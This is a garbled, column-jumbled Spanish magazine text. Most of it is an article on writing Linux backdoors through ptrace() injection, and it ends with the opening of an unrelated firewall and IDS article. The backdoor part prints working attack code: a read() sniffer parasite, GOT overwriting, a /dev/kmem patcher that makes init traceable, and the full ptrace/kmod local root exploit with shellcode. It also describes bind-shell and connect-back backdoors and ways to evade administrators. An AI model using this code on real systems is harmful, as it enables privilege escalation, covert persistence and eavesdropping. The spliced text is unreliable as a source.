ejecución con ptrace(). %eax # write() to log movl 12(%esp).org . Cuando el proceso hijo es setuid.out 7314 [Example Ptrace Injector] + conectado al id de proceso: 7314 . Esto fue un pequeño ejemplo de como emplear ptrace() para escalar el privilegio.bytes to read() int $0x80 movl $6. int size) { asm(" jmp DO DONT: popl %esi # get the logfile address xorl %eax.. el atacante puede ocasionar también el proceso hijo para ejecutar el código de arbitraje en un privilegio elevado.%ecx # pointer to the data movl %edi. Como ptrace() es empleado para inyectar el código en el modo de ejecución. } asm("INJECT_P_END:"). + el proceso ha parado.19 y más arriba que fueron apuntados como fijados por el momento. %al # call read() movl 8(%esp). Hay también algunos más conocidos como ediciones de seguridad incluyendo ptrace() con los kernels de Linux anteriores de 2. Además. Aquí tenemos un ejemplo de una antigua ptrace() vulnerabilidad del antiguo kernel de Linux. %ebx # ebx: fd movl 12(%esp). Es también capaz de cambiar sus registros. %ebx # ebx: fd for the next 2 calls movl $4. + El parásito está a: 0x400fa276 .19 tuvo un gusano local de root y la mayoría de la gente que usa este kernel puede no tener todavía parches. por ejemplo. Ptrace() es capaz de observar y con- trolar la ejecución de otro proceso. SIGKILL luego el parásito también morirá. int Inject_read(int fd.sniffed" asm("INJECT_PAYLOAD_BEGIN:").2. Entonces aquí tenemos un pequeño inyector ptrace() (Listado 1a y 2b).hakin9.desconecta.enviando la señal de parada. está claro que no es residente.%edx # edx: size int $0x80 movl %eax./a. Luego vamos a la terminal A y conectamos al infectado proceso Netcat: Listado 6. con lo cual los gusanos siguen existiendo en muchos sistemas.2.x dentro de la llamada del sistema execve(). char *data.c lo que crea el hilo de kernel en un modo inseguro. %eax # take a guess :P int $0x80 movl %edi.

} /* * pon nuestro parásito en el segmento de texto */ server:~# nc -v localhost 1111 localhost [127. if (fread(&ehdr. Normalmente inyectamos nuestro shell code en el proceso. El modo más simple de leerlo es emplear objdump. donde será asignado después de cargar. Pues. */ snprintf(buf. Cuando sigues inseguro puedes querer leer este artículo otra vez desde el principio y jugar con el ejemplo que ya os dí. www. Ahora pasaremos a unas técnicas más avanzadas con esta función. Optimízalo!\n"). if (phdr. "rb"))) return (-1). if (!(input = fopen(buf. Pequeña función para recoger el segmento de texto del proceso de objetivo int get_textsegment(int pid. SEEK_SET) != 0) goto end. Vamos a observar el Listado 2.hakin9. &size)) == -1) { fprintf(stderr.e_phnum. return phdr. pues escribe un poco * función que emplea objdump para arrastrar GOT. int *size) { Elf32_Ehdr ehdr. llamamos nuestra función desde main() */ if ((textseg = get_textsegment(pid. suministra GOT con argv[2] o así * esto se deja como ejercicio para un lector interesante. cuando metemos el parche en syscalls. strerror(errno)). "read")) < 0) { // grab read's GOT addy fprintf(stderr. La Tabla de Equilibrio Global (GOT) nos da una localización de syscall en la memoria. fclose(input). if (fseek(input. } /* * Ahora.0. Sin embargo. "Tu parásito es demasiado grande y no se ajustará. Lo metemos en la pila y cambiamos algunos registros. Primero esto parece ser lo mismo que la inyección ptrace() injection. Ten en cuenta que no hablamos sobre los reales syscalls en el espacio de kernel. mucho como para esta parte. 1. el código será activo hasta que el proceso se cierre.org 35 .e_phoff. [16]) = 4 _exit(31337) server:~# = ? El proceso 7314 desconectado ¡Como puedes ver esto funcionó! Ok. Función de sobrescritura Ptrace() Esta técnica es un poco más avanzada y bastante usual también – funciones de sobrescritura empleando ptrace(). pid.0. sizeof(buf). sizeof(Elf32_Phdr). if (fread(&phdr. if ((readgot = got(buf. * si eres vago. sizeof(Elf32_Ehdr). return (-1). ya que el resto de los artículos requiere cuando quieras entender ptrace().p_offset == 0) { fclose(input). "/proc/%d/exe". pid). para que entiendas completamente lo que pasa. es solamente una importada función compartida haciendo las mismas acciones como las reales llamadas del sistema. * objdump es tu amigo.Escribe tu propio backdoor Listado 7a.0. "Unable to extract read()

s GOT address\n"). input) != 1) goto end.0. Simplemente esa la instrucción grep para reubicar de syscall. * the payload can't (safely) exceed 244 bytes ! */ if (inject_parasite_size() > size) { // validate the size fprintf(stderr. return (-1). } /* * entonces necesitamos pensar del tamaño. 1. /* * read ELF binary header + do calculations */ *size = sizeof(Elf32_Ehdr) + ehdr. snprintf(buf. sizeof(buf). return (-1). char buf[128].1] 1111 (?) open [1]+ Exit 105 nc -lp 1111 server:~# Ahora vamos a probar la salida de trazado en la terminal B: accept(3. i++) { Elf32_Phdr phdr. } /* * readgot es función que devuelve read()'s * dirección de la tabla global de equilibrio. sin embargo. sin_addr=inet_addr ("127.e_phnum * sizeof(Elf32_Phdr). for (i = 0. es algo diferente. FILE *input. Esta es inyección ptrace().p_vaddr. esto está algo limitado ya que solamente se ejecuta una vez.1")}. } } end:. ehdr. return (-1). pid). i < ehdr. input) != 1) goto end. "/proc/%d/exe". "unable to locate pid %d

Intereses relacionados

s text segment address (%s)\n". int i. sin_port=htons(35261).

somos capaces de meterlo aquí. No olvides añadir la lectura original. Una buena cosa es que no necesitamos cuidar de la pila ejecutable y ceros en el código. Esta sección tiene un tamaño fijo. Es obvio que esto debe estar en algún lugar de la memoria del proceso. que no pueden usarse durante la ejecución. Este espacio está ocupado por las cabeceras ELF. por lo tanto pensé sobre la forma de implementar unas backdoors más grandes. • • sh_code = malloc(strlen((char*) infect_code) +4). return (-1). conseguir el puntero a la memoria asignada. inject_parasite_size(). Para asignar la memoria sin ejecutar la pila hay un esquema un poco modificado: • sobreescribr la entrada del segmento.Ataque Dondequiera que quieras llamar llama la dirección WITHIN 08086b30. • meter el código en la pila que asignará una nueva región de memoria (usando mmap()). strcpy(sh_code. return (-1). Pensamos sobre las posibilidades que tenemos.text. dirección del segmento de. o bien al menos un parásito inicial. estas cabeceras se hacen inútiles y somos capaces de sobrescribirlas seguramente con nuestro código. } /* * sobreescribe la dirección de lectura de la tabla global de equilibrio */ if (inject(pid. el proceso infectado será segfault en 0x41414141. propia implementación de la función de backdoor. Puedes básicamente cambiar los datos y meter dondequiera que quieras en el espacio y no pasaría nada. Como he dicho las cabeceras de ELF ocupan unos 244bytes y no son suficientes para una grande backdoor. en vez de destruir los datos al inyectar la carga útil en el %eip. y va a saltar a algo diferente. la siguiente vez el proceso llama read(). Podríamos controlar completamente el flujo de ejecución del demonio por ejemplo. la función que queremos a la backdoor. que desplegará un parásito mayor más tarde. Cuando sea posible para nosotros sobrescribir cualquier función en el vuelo somos capaces de situar diferentes backdoors dentro de los procesos ejecutados. 4. Vamos a echar una ojeada en nuestro binario (proceso) donde vamos a sobrescribir nuestra función e inyectar la backdoor. al lado malo. necesitamos más espacio para situar nuestro backdoor.text. usar inject() para meter nuestro código en la memoria asignada dinámicamente. Para recibir la posición inicial de esta sección. Omitiendo el límite de tamaño la siguiente vez read() será llamada. Cuando quieras: read(). Pues.hakin9.text incluye las cabeceras del programa ELF y otra información que es solamente empleada 36 www. readgot. (%eax) durante el inicio. %eax movl $0x41414141. cambiar el valor de devolución y los datos de registro. interceptar syscalls. el lugar para nuestro código está muy limitado. Ahora cuando escribas una dirección diferente en 08086b30.eax = infect_ptrace(pid). Listado 7 b. Primero necesitamos algunos conocimientos básicos y para situar nuestro backdoor en algún lugar de la memoria. inject_parasite_ptr()) < 0) { fprintf(stderr. haciendo simples calculaciones recibiremos nuestra fórmula: max_possible_size =sizeof(e_hdr)+sizeof(p_hdr) *suma de cabeceras_p • • • dirección de la función desde la Tabla Global de Equilibrio. Vamos a echar una ojeada en la información que necesitamos. strerror(errno)). luego. La primera idea es usar memoria asignada dinámicamente. Necesitamos escribir nuestra propia implementación de la llamada que actúa como la original. } Intercepción de syscall El segmento. Hay unos 240 bytes del espacio no usado en 0x8048000. Abajo puedes ver una parte del código que sobrescribirá la seleccionada syscall desde el proceso seleccionado. strerror(errno)). pero en vez de la dirección del segmento. Pequeña función para recoger el segmento de texto del proceso de objetivo if (inject(pid. necesitarás comprobar p _ vaddr. Dotados de este conocimiento podemos hacer un paso hacia adelante. (char *) &textseg) < 0) { fprintf(stderr.text por infect _ code(). con el objetivo de construir nuestra función de sobrescritura: • • procesa a si mismo y su ID. textseg. En 08086b30 no hay otra dirección que apunta a la lectura actual. reg. Al poner un parche en syscall necesitamos guardar el original syscall.(char *) infect_code). "¡La inyección de la entrada GOT falló! (%s)\n".org . Después de lacarga del proceso. "¡La inyección de parásito falló! (%s)\n". usar la memoria asignada: Es pequeño. Sin embargo. Aquí tienes un ejemplo con sys _ write demostrado en el Listado 3. movl $0x08086b30. nuestra parcheada syscall existe dentro del proceso y otra vez. pero bastante para algunos códigos puros ASM.

void *buf. por lo tanto somos capaces de inyectar códigos más avanzados en los procesos.h> #include <stdio. www. escuchar (sniff) a las comunicaciones de registro. exit( 1 ). después de su conexión al proceso. Vamos a ver algunas de las básicas posibilidades: • cambiar los valores de devolución. } if( write( kmem_fd. por ejemplo virus y gusanos o mensajes cifrados en los procesos. cambiar los relojes fechadores/ md5sums.h> #include <string. return( 17 ). los mensajes de registro de imitación y parecidas. Ahora podemos implementar backdoors con casi tamaño no limitado. int80. luego deberías conectarte a él y enviar algunos datos para llamar la parcheada read(). 0600 | S_IFCHR. Kernel Patcher para permitir ptracing de init #define _GNU_SOURCE #include <asm/unistd.h> #include <stdlib. Aquí tenemos un pequeño ejemplo que necesitas para infect _ code. if( mknod( "/tmp/kmem". exit( 4 ). size_t count ) { if( lseek( kmem_fd. idt = *(int *)( buffer + 2 ).Escribe tu propio backdoor Listado 8a. *p. sct. Por ejemplo. esconder archivos. c.h> #include <sys/stat. SEEK_SET ) != offset ) { perror( "lseek(kmem)" ). eliminar archivos (mensajes de registro) que revelaría al atacante IP etc. kmem_dev ) < 0 ) { perror( "mknod(/tmp/kmem)" ). O_RDWR ) ) < 0 ) { perror( "open(/tmp/kmem)" ). inject() ¿Qué es posible? ¿Qué podríamos armar con este conocimiento? Básicamente es lo mismo que la función de sobrescritura (cuando lo conozcas) y por ello empleamos ptrace() para sobrescribir e inyectar el código. return( 16 ). } } void write_kmem( off_t offset.h> #include <fcntl. 2 ).h> #include <unistd. count ) != (long) count ) { perror( "write(kmem)" ). int idt. } if( ( kmem_fd = open( "/tmp/kmem". cuando estás haciendo backdoors de Netcat. perror( "open(/dev/kmem)" ). por ejemplo. } unlink( "/tmp/kmem" ). sesiones de secuestro.h> int kmem_fd. offset. El problema es que eres capaz de controlar la comunicación completa de un proceso. buf. ejecutar la capa de unión o la devolución de conexión. count ) != (long) count ) { perror( "read(kmem)" ). } /* recoge la dirección de la tabla del descriptor de interruptor */ asm( "sidt %0" : "=m" ( buffer ) ). • • trace read() para la llamada. void *buf. SEEK_SET ) != offset ) { perror( "lseek(kmem)" ).h> #include <sys/types. /* bajo nivel de subrutinas de utilidad */ void read_kmem( off_t offset.. } } #define GCC_295 2 #define GCC_3XX 3 #define BUFSIZE 256 int main( void ) { int kmode. exit( 3 ). que asignará la memoria asignada. } if( read( kmem_fd. exit( 2 ). if( ( kmem_fd = open( "/dev/kmem". es justamente una simple función ptrace() injection . como está demostrado en el Listado 5. offset. de hecho el entero flujo de ejecución. char buffer[BUFSIZE]. la siguiente llamada será mmap(). luego guarda el valor de devolución. Consigue el valor e devolución y usa ello para inject(). buf. size_t count ) { if( lseek( kmem_fd. • • • • • • Como puedes ver tenemos una amplia variedad de diferentes métodos de backdoors que pudimos usar. O_RDWR ) ) < 0 ) { dev_t kmem_dev = makedev( 1.org 37 . ptrace. gcc_ver.hakin9.

buffer + ptrace. 8 ). int80 = ( *(unsigned short *)( buffer + 6 ) << 16 ) + *(unsigned short *)( buffer ). Ahora después de poner parche /dev/kmem de esta forma. } Christophe Devine escribió un pequeño programa que es editado bajo la licencia pública GNU para poner parche en el kernel en la ejecución para permitir init para que sea trazada.org .hakin9. 1 ). /* get sys_ptrace() address and patch it */ read_kmem( (off_t) ( p + 3 . /* get ptrace_attach() address and patch it */ if( gcc_ver == GCC_3XX ) { p += 5. buffer. Simplemente hacemos caer la capa en nuestra terminal para evitar una fácil detección. Infectamos el proceso de inicio con ayuda de /dev/kmem Normalmente no puedes conectarte en el proceso de inicio con ptrace(). Vamos a ver dentro de ptrace() la llamada del sistema (sys _ ptrace). Os suministraré algunas fotos de pantallas de diferentes parásitos en acción y explicaré lo que pasa. return( 19 ). Además. ptrace += *(int *)( p + 2 ) + p + 6 . Adjunto este código (ver Listado 8a y 8b). hay oportunidades y no serán detectadas hasta que abras un nuevo puerto. 3 ) ) ) { p -= 2. BUFSIZE. } } write_kmem( p . "fatal: can't locate ptrace_attach\n" ). if( ! ( p = memmem( buffer. return( 20 ). "\x83\xFE\x10". kmode = *p & 4. read_kmem( ptrace.buffer. /* get system_call_table address */ read_kmem( int80. sct ). printf( " . p = buffer.buffer. &c. read_kmem( ptrace. return( 21 ). printf( " . "fatal: can't locate sys_call_table\n" ). 3 ) ) ) { fprintf( stderr. BUFSIZE ). BUFSIZE. localizada en arch/i386/kernel/ptrace.buffer + syscall ). pues tendrás una mejor foto de cómo este fue hecho. Kernel Patcher para permitir ptracing de init /* get system_call() address */ read_kmem( idt + ( 0x80 << 3 ). BUFSIZE ).c: ret = -EPERM. 24 ) ) ) { fprintf( stderr. BUFSIZE ). BUFSIZE ). "\x83\x79\x7C". } ptrace += *(int *)( p + 1 ) + p + 5 . 4 ). c = *p ^ 1. if (pid == 1) /* no puedes desorndenar con init */ goto out_tsk. p . write_kmem( p + 3 . "fatal: can't find patch 1 address\n" ). Con un pequeño truco. por lo tanto cuando infectes los mencionados.buffer + ptrace. if( ( p = memmem( buffer. Listado 8b. kmode = *p & 1. "\x83\xFB\x10". } sct = *(int *)( p + 3 ). buffer. kp1 @ 0x%08X\n". } else { fprintf( stderr. if (request = = PTRACE_ATTACH) { ret = ptrace_attach(child). "\xFF\x14\x85". } if( ! ( p = memchr( p. 4 ).buffer + ptrace ). 0xE8. 1 ). read_kmem( ptrace. sobre este tema diré más tarde. if( ! ( p = memmem( buffer. goto out_tsk. puedes 38 www. BUFSIZE. Explicados diferentes backdoors Tenemos un montón de las posibilidades de backdoor. c = *p ^ 4. podemos hacer el proceso de inicio trazable y así infectarlo con un parásito. gcc_ver = GCC_3XX. Los administradores suelen creer en sus demonios. buffer. &c. } else { if( ( p = memmem( buffer. buffer. sct @ 0x%08X\n". buffer. } c = ( ! kmode ). (void *) &ptrace.Ataque Puedes añadir nuevas funciones a ello o eliminar algunas (como funciones de registro) y serás capaz de situar las escondidas backdoors. pero ¿realmente no las entenderás todas? Vamos al grano. 3 ) ) ) { fprintf( stderr. "fatal: can't find patch 2 address\n" ). read_kmem( sct + __NR_ptrace * 4. sin embargo. gcc_ver = GCC_295. 3 ) ) ) { p -= 7. BUFSIZE. return( 18 ). buffer.

Esto copia (usando dup2) los descriptores.h> #include <sys/param. p + 3 . pid_t child = 1. volatile int gotchild = 0.h> #include <sys/types. victim. len = readlink("/proc/self/exe". Para fijarlo. MAXPATHLEN .h> #include <stdio. Nuestro có- www. Kernel Patcher para permitir ptracing de init printf( " . recuerda como funciona la unión de capas.h> #include <signal.1). unsigned long * src. src = (unsigned long*) buf. else printf( " + kernel patched\n" ). sobrescribir la dirección de la Tabla Global de Equilibrio de read() para indicar a nuestro parásito. kill(victim. Nuestro código de carga útil está preparada.h> #include <fcntl. kill(parent. por lo tanto necesitamos escribir nuestra implementación de la capa. infectar el proceso init. %eax\n" "movl $123.h> #include <unistd.Escribe tu propio backdoor Listado 8c. if (len == -1) fatal("[-] Unable to read /proc/self/exe"). después de que init ha sido infectado esto no será a tope del listado de procesos y así puede revelar que el sistema ha sido comprometido. el parásito. vamos a inyectar un parásito en el segmento y. Obviamente esto no emplea plug ins.h> #include <string. Primero vamos a ver el código de la carga útil: Listado 6. La carga útil va a actuar como lo hace una normal read(). i += 4) if (ptrace(PTRACE_POKETEXT. SIGKILL). no funcionará en versiones más nuevas de gcc. SIGKILL).1) pid_t parent = 1. #include <grp. Linux kernel ptrace()/kmod local root exploit. pues vamos a ejecutar.h> #include <sys/wait. return( 0 ). Sobre todo.h> #include <errno. } void putcode(unsigned long * dst) { char buf[MAXPATHLEN + CODE_SIZE]. Read() sniffer } Listado 9a. pid_t victim = 1. por ejemplo: asm("movl $1. pero también va a registrar todo en un definido archivo de registro.h> #include <sys/stat. memcpy(buf. cuando el ejemplo arriba mencionado funciona bien en algunas versiones. Al final habrá comentario de cada función: Dup2() backdoor Bueno. luego.kernel unpatched\n" ). simplemente hazlo como en el primer ejemplo del inyector que os di.h> #include <linux/user. buf + CODE_SIZE. int i. len. buf[len] = '###BOT_TEXT###'. #define CODE_SIZE (sizeof(cliphcode) . SIGKILL). kp2 @ 0x%08X\n".h> #include <stdlib. cliphcode. Sin embargo. Una importante cosa para apuntar para evitar el depuramiento estresante son estas diferentes versiones del gcc del diferente hilo en línea asm().h> #include <paths. esta backdoor está bastante bien escondida y no aparece en netstat.buffer + ptrace ). Después de que tu implementación esté hecha.org 39 .hakin9. i < len. close( kmem_fd ). } void sigchld(int signo) Basta con teoría. CODE_SIZE). dst++.h> #include <sys/ptrace. kill(child. stdout/in/ err para unir el plug in para hacer que la capa se despliegue a nuestro lado y no al lado del servidor. vamos a construir un sniffer read().h> char cliphcode[] = "\x90\x90\xeb\x1f\xb8\xb6\x00\x00" "\x00\x5b\x31\xc9\x89\xca\xcd\x80" "\xb8\x0f\x00\x00\x00\xb9\xed\x0d" "\x00\x00\xcd\x80\x89\xd0\x89\xd3" "\x40\xcd\x80\xe8\xdc\xff\xff\xff". /* success */ if( c ) printf( " .h> #include <sys/socket. *src++) == -1) fatal("[-] Incapaz de escribir el código de capa"). void fatal(char * msg) { perror(msg). Ahora pasaremos a nuestras funciones necesitadas. El código dice más de las palabras. len += CODE_SIZE + 1. for (i = 0. %ebx\n" "int $0x80\n"). por lo tanto. Esto es básicamente el núcleo de la backdoor.

do err = ptrace(PTRACE_ATTACH. NULL). if (err == -1) fatal("[-] Incapaz de conectar"). victim. porque su realización ocupará demasiado código. 0) == -1) fatal("[-] Incapaz de instalar la trayectoria de syscall").\n").hakin9. &regs) == -1) fatal("[-] Incapaz de leer registros"). sin embargo no es universal. putcode((unsigned long *)regs. } void prepare(void) { if (geteuid() == 0) { initgroups("root". fprintf(stderr. int err. errno = 0. } void do_parent(char * progname) { struct stat st. pero qué pasa cuando la firewall bloquee tu puerto? En este } void sigalrm(int signo) { errno = ECANCELED.Ataque digo no emplea plug ins. setgid(0). while (!gotchild) . 0. Linux kernel ptrace()/kmod local root exploit. for(.. 0). simplemente cópialo en stdout/in/err. el método dup2. esto realiza fork() y luego accept(). victim. Esto no malgasta el código extra. Con excepción del uso estándar. socket(AF_SECURITY. regs. Simplemente el proceso tiene una cantidad estática de descriptores y nosotros podemos trazarlo empleando strace. system(progname). Simplemente esa la instrucción grep para el último descriptor. "[+] Attached to %d\n".. execl(_PATH_BSHELL. la información sobre el estado de los descriptores usados en /proc/ _ pid _ /fd . SOCK_STREAM.p. "[+] Signal caught\n"). Cuando nos conectamos al servicio remoto. do { err = stat(progname. fprintf(stderr. También procfs podrían no estar montados en algunos sistemas.st_mode & S_ISUID) != S_ISUID).que será 3 o 4 en la mayoría de los casos. if (ptrace(PTRACE_GETREGS. "[+] Shellcode placed at 0x%08lx\n". fprintf(stderr. podemos emplear procfs. "[+] Ahora espera la capa suid. El código inyectado puede compartir todos los datos del proceso. pid_t child = 1. victim. Listado 9b. exit(0). Hay unas formas de conseguirlo: • podemos sobrescribir accept() con nuestra nueva implementación. por lo tanto los procesos nos asignan un nuevo descriptor y nosotros necesitamos obtener sus números. Un pequeño ejemplo con Netcat: $nc -lp 1111 Luego arrastra su pid y strace . victim. char ** argv) { prepare(). Ahora ejecuta telnet al puerto 1111 de localhost y recoge el valor de devolución de accept() . 40 www.). 0. "[+] Waiting for signal\n"). fatal("[-] Unable to spawn shell"). } void para_main(void) { { int kmem_fd.eip). sigchld). if (gotchild++ == 0) return. } while (err == 0 && (st. 0. signal(SIGCHLD. 1). if (err == -1) fatal("[-] Unable to stat myself"). fprintf(stderr. pid_t victim = 1. La variante no es buena. _PATH_BSHELL. victim). por lo tanto es más invisible que el administrador estándar. &st).org . esta backdoor podría estar instalada en los sistemas con firewall donde solamente unos servicios están abiertos y otro tráfico está filtrado. fprintf(stderr. while (err == -1 && errno == ESRCH). donde podríamos leerlo. 0). Es mejor del primero pero no es perfecto. Ahora nuestra backdoor escondido está preparado. { struct user_regs_struct regs. if (ptrace(PTRACE_DETACH.eip). • • Después de recibir el descriptor. 0) == -1) fatal("[-] Incapaz de desconectar de víctimas").. } } int main(int argc. alarm(0). setuid(0). incluyendo descriptores. que escribiría todos los valores de devolución a un archivo. if (ptrace(PTRACE_SYSCALL. fatal("[-] Fatal error"). NULL. Devolución de conexión ¿Normalmente quieres lanzar a la capa de unión.

o bien la versión 2 de la Licencia. tendrás la idea.ibm. victim = child + 1. if (child == 0) do_child(). El código aprovecha de la condición de carrera en kernel/kmod. pero a veces solamente unos puertos funcionarían. • • Sobre el Autor Stefan Klaas se ocupa del campo de la Seguridad IT desde hace los 10 años y ha trabajado como Administrador de Seguridad e Ingeniero de Software. pero SIN NINGUNA GARANTÍA. Este programa es código fuente abierto.txt – construyendo los códigos de capa de inyección ptrace() . activamente investiga las ediciones relacionadas con seguridad y realiza las pruebas de Penetration. Descubrí este estúpido gusano independientemente el 25 de Enero de 2003.2. Esto no debería ser un problema grave para desarrollar una simple carga útil.cnam.. ¡Ahora puedes simplemente hacerlo tú mismo! Escribes una pequeña ptrace() injection herramienta que intercambia la función de registro contigo o simple registrar todo al enganchar en read()/write() o como tal. si no. Conclusión } En la Red • http://publib16.0.boulder.2. luego. Desde el año 2004 es CEO de la Compañía GroundZero Security Research en Alemania.4. deberías tratar unos puertos privilegiados como DNS (Port 53). escribe a Free Software Foundation.org 41 . sin incluso la garantía sugerida de MERCADO o CAPACIDAD PARA OBJETIVO PARTICULAR.4. Sigue desarrollando el código Proof of Concept Exploit. esto es (casi) dos meses antes de que fue fijado y publicado por Red Hat y otros.fr). Debería funcionar bajo todos los actuales kernels 2. Este gusano permite a ptrace() unos procesos clonados. Linux kernel ptrace()/kmod local root exploit. l www.0. Apéndice 2. Este programa se distribuye en la espera de que será útil. Ver la Licencia general Pública para más detalles. return 0. o (en tu opción) cualquier versión posterior. if (child == -1) fatal("[-] Unable to fork"). sigalrm). http://www. Todo lo que tenemos que hacer ahora es desarrollar la carga útil de la devolución de conexión que es simple y con las técnicas que acabamos de aprender.phrack. Boston. Listado 9c. http://www. puedes redistribuirlo y/o modificarlo bajo las condiciones de GNU (General Public License) como publicado por Free Software Foundation.die. signal(SIGALRM. o por hackers a la backdoor Binaries.com/phrack/59/p59-0x0c.hakin9. Frecuentemente este conocimiento es usado por probadores de Penetration con ptrace() injection los códigos de capa para estallar de chroot. pero este conocimiento también te ofrece más flexibilidad en tus trabajos de Admin al trabajar con Código Fuente Cerrada.x. Para empezar sugiero que uses el valor cifrado fuertemente para la IP tal como #define CB _ IP 127.htm – referencia técnica: Sistema Básico de Operación y extensiones (Base Operating System and Extensions). ¡pero tú querrás más información! Normalmente tendrías que vivir con ello o demandar del vendedor para actualizarlo. Inc. permitiendo tomar control sobre los archivos binarios privilegiados modprobe. MA 02111-1307 USA.1 y. WWW (Port 80) ó FTP (Port 21). Esto nos da un montón de posibilidades para cambiar el flujo de ejecución de tal forma que podemos completamente controlar el programa. Wojciech Purczynski cliph@isec.html – man 2 ptrace(). 59 Temple Place.pl ESTE PROGRAMA ES PARA OBJETIVOS DE EDUCACIÓN SOLAMENTE ES SUMINISTRADO TAL COMO ES Y SIN NINGUNA GARANTÍA ((c) 2003 Copyright by iSEC Security Research). Linux kernel ptrace()/kmod local root exploit. child = fork(). necesitamos volver a conectarnos. acabamos de aprender una gran forma de manipular los programas en ejecución en la memoria. Vamos a decir que tenemos la Fuente de Demonio Cerrada que no tiene demasiado buenas características de registro y el archivo de registro es más bien muy simple. por lo tanto.x y 2.c lo que crea el hilo de kernel en un modo inseguro. Deberías recibir una copia de la Licencia General Pública GNU junto con este programa.com/pseries/en_US/libs/basetrf1/ptrace.x kernel patcher que permite ptracing el proceso init (Copyrig- ht (c) 2003 Christophe Devine devine@iie. Volumen 1. Ok. alarm(10). En la mayoría de los casos cada puerto saliente está permitido.net/doc/linux/man/man2/ptrace. else do_parent(argv[0]). Suite 330. lanza simplemente connect() y execute /bin/sh -i. parent = getpid().Escribe tu propio backdoor caso.

Históricamente.hakin9. i. ha sido la más común.org . Antonio Merola Grado de dificultad En este artículo comentaremos como puede usarse un Sistema de Detección de Intrusiones en Redes (NIDS) como herramienta de verificación en el caso específico de un fallo del firewall y como herramienta para la aplicación de la política de seguridad. Ha habido varios fallos bien publicitados en varias soluciones firewall. un firewall permisivo..Defensa Violación y Aplicación de Políticas de Seguridad con IDS y Firewall Arrigo Triulzi. Los Firewalls pueden dividirse en dos categorías basándonos en la idea que hay detrás de su configuración: es o cualquier cosa no explícitamente permitida está prohibida o cualquier cosa no explícitamente prohibida está permitida. 42 www. Por ejemplo. es que como todos los dispositivos informáticos. podríamos tener una regla definida como: permitir todo el acceso a nuestro sitio web corporativo desde la red interna.e. Lo que se espera de un firewall es que. Lo que muchas veces se pasa por alto.. por la regla catch-all) es bloqueado y tal acción reportada. En este artículo aprenderás. OpenBSD pf y Snort (usadas como herramientas en todo el artículo). si se encuentra tráfico que concuerda con una de las reglas white-listing. C uando se formula una política de seguridad esta incluirá temas como configuraciones obligatorias de firewalls y la monitorización de los logs de los firewalls para verificar violaciones de la política. pueden fallar. Esta forma también puede verse como una larga lista de reglas de listas blancas que permiten acciones cerradas con una regla catch-all que deniega todo lo demás. Una regla de firewall se define como una descripción (específica de cada producto) que indica a la solución firewall que hacer con un determinado tipo de tráfico. Aplicar la política de seguridad. la segunda forma. • • Deberías tener por lo menos conocimientos básicos sobre firewalls e IDS. tanto comerciales como Open Source. Detectar configuraciones erróneas de un firewall. el tráfico fluirá libremente mientras que cualquier tráfico prohibido (por ejemplo. • • • Detectar violaciones de las reglas de un firewall. Esta regla es un ejemplo de una lista blanca.. pero según crecía Internet y sus amenazas. algo que especifica comportamiento autorizado y esperado. la primera forma se ha convertido en la elección.. Lo qué deberías saber.

es que no debería haber acceso directo a la red externa desde la red interna y que todo el tráfico permitido debería ser dirigido mediante proxys. no podemos confiar en el para detectar una violación de la seguridad. En este caso no tendríamos ningún registro de que lo que está ocurriendo a través de los mecanismos normales de información del firewall.10.213/32. por ejemplo varias líneas con diferentes ISPs.168/32.168.168.) www. Un suceso similar pero algo menos letal es una puerta de enlace basada en RSA SecureID.168. los normalmente llamados firewalls personales.. y servidor terminal añadiendo las tarjetas de expansión adecuadas. no se activa. o cualquier otra regla de denegación. 192. Lo que normalmente ocurre después es que las CEO exceptions empiezan a aparecer.168. 192. En la dirección contraria actúan de la misma forma.e.105/16 pass in on $int_if proto tcp from $int_hosts_auth to $ext_office keep state flags S/SA pass out on $ext_if proto tcp from $int_hosts_auth to $ext_office modulate state flags S/SA (. Es ocurre debido a la práctica común de agregar tantos servicios como sea posible a un único sistema.10.10.org 43 . La razón para este nombre es que inevitablemente están impulsadas por altos ejecutivos que requieren acceso desde casa o mientras se están desplazando.10.. switch. siendo un ejemplo perfecto los sistemas Cisco donde el router puede actuar como un firewall.10.hakin9.0/16" int_lan ="192.0/24" int_hosts_auth = "{ 192. Diseño de Firewalls El diseño de una configuración de firewall segura ha cambiado lentamente de ser un arte negra que requería la escritura de comandos oscuros en un prompt al interfaz gráfico de usuario point & click de los últimos productos. El diseño básico de la red desde el punto de vista del firewall es de hecho un interior y un exterior. También se ha convertido en un bien de consumo al estar el software firewall disponible para estaciones de trabajo individuales. debido a la posibilidadde un fallo de software en un firewall. esta falta de conocimientos especializados ha significado una mayor dificultad de detección y actuación sobre configuraciones erróneas o fallos del firewall.) # Esto permite a los hosts internos int_hosts_auth alcanzar la red 10. Listado 1.0. bloquea a todos los desconocidos) está activa pero no se está aplicando debido a un fallo del sistema (i. Configuración de OpenBSD pf ext_if = "ne1" int_if = "ne2" ext_office ="10.168.168. que abría la posibilidad de asegurar la infraestructura de red de la empresa en sitios donde no se disponía de los conocimientos especializados. 192.. Según se complica la configuración de un firewall lo que ocurre realmente es que un único firewall tendrá múltiples interiores (i.10. La migración de la sintaxis de la linea de comandos al interfaz gráfico de usuario fue un cambio bienvenido.. 192.214/ 32. redes empresariales conectadas directamente) y múltiples exteriores. Para darles soporte más y más reglas para atravesar el firewall se van añadiendo. Un política de seguridad simple. La mejor analogía tal vez sea la del guardia de seguridad dormido: la regla (i. Arquitectura simplificada de red con firewall Cuando se diseña una configuración de firewall el curso de acción correcto es traducir esas reglas en directivas de una política de seguridad.. éstas erosionan la fuerza de la política de seguridad. haciendo a la vez que la monitorización sea mucho más difícil.e.168. Figura 1. y lo mandan al exterior. Lo que queremos decir con esto es que la arquitectura interna del firewall causa que tráfico que debería ser bloqueado fluya libremente.10.. Por lo tanto necesitamos una herramienta externa para validar el comportamiento de nuestro firewall.10. concentrador de línea de conexión por marcación. Estos proxys aceptan correo electrónico y tráfico web y FTP procedente del interior.167/32. Está claro que. el guardia de seguridad está dormido). Esto es particularmente interesante si la regla catch-all. 192.215/32 }" (.189/32. 192. A pesar de su fuerte mecanismo de autentificación el objetivo sigue siendo abrir excepciones en el conjunto de reglas del firewall. pero efectiva.e.) # Esto bloqueará todo el tráfico entrante en ambos interfaces bloquea todo (.Análisis Diferencial de Firewall La cuestión que queremos solucionar es la del fallo en el modo de funcionamiento normal del firewall.190/32. Nos concentraremos en aquellos colocados para proteger redes empresariales de intrusiones externas. lo verifican. Lentamente pero de forma inexorable. Al mismo tiempo.105.168.

